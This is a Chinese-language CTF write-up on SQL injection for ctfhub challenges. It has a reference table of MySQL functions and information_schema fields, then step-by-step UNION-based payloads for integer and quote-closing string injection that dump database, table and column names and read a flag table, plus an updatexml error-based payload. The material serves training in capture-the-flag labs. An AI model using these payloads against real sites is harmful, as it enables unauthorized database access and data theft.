常見sql注入解題思路(題目來源ctfhub)
關鍵字/語句/函數 | 解釋 |
---|---|
union select | 聯合查詢,聯合注入常用 |
database() | 回顯目前連接配接的資料庫 |
version() | 檢視目前sql的版本如:mysql 1.2.3,mariadb-4.5.6 |
group_concat() | 把産生的同一分組中的值用,連接配接,形成一個字元串 |
information_schema | 存了很多mysql資訊的資料庫 |
information_schema.schemata | information_schema庫的一個表,名為schemata |
schema_name | schemata表中存儲mysql所有資料庫名字的字段 |
information_schema.tables | 存了mysql所有的表 |
table_schema | tables表中存每個表對應的資料庫名的字段 |
table_name | 表的名字和table_schema一一對應 |
information_schema.columns | columns表存了所有的列的資訊4 |
column_name | 當你知道一個表的名字時,可通過次字段獲得表中的所有字段名(列名) |
table_name | 表的名字和column_name一一對應 |
select updatexml(1,concat(0x7e,database(),0x7e),1); | 這裡注意,隻在databse()處改你想要的内容即可報錯回顯 |
right(str, num) | 字元串從右開始截取num個字元 |
left(str,num) | 同理:字元串從左開始截取num個字元 |
substr(str,N,M) | 字元串,從第N個字元開始,截取M個字元 |
1整數型注入
首先,爆庫名
4 union select 3,database()
接着,爆所有資料庫名
4 union select 3,group_concat(schema_name) from information_schema.schemata
然後,爆表名
4 union select 3,group_concat(table_name) from information_schema.tables where table_schema=“sqli”
随後,爆字段
4 union select 3,group_concat(column_name) from information_schema.columns where table_name=“flag”
最後,檢視内容
4 union select 3,group_concat(flag) from sqli.flag
2字元型注入
字元型注入參數需要單引号來閉合,整數型不需要。這裡如果接着想在後面輸入語句的話,就要手動給參數加上單引号,然後将他加上的單引号注釋掉。
爆庫名
123’ union select database(),2 #
爆表名
123’ union select group_concat(table_name),3 from information_schema.tables where table_schema=‘sqli’ #
爆列名
123’ union select group_concat(column_name) ,3 from information_schema.columns where table_name=‘flag’ #
得到flag
123’ union select flag,3 from sqli.flag #
總結:由上一道sql注入的經驗得知首先需要手動周遊一遍資料庫,得知資料庫到底有幾列,然後再開始爆庫,表,字段。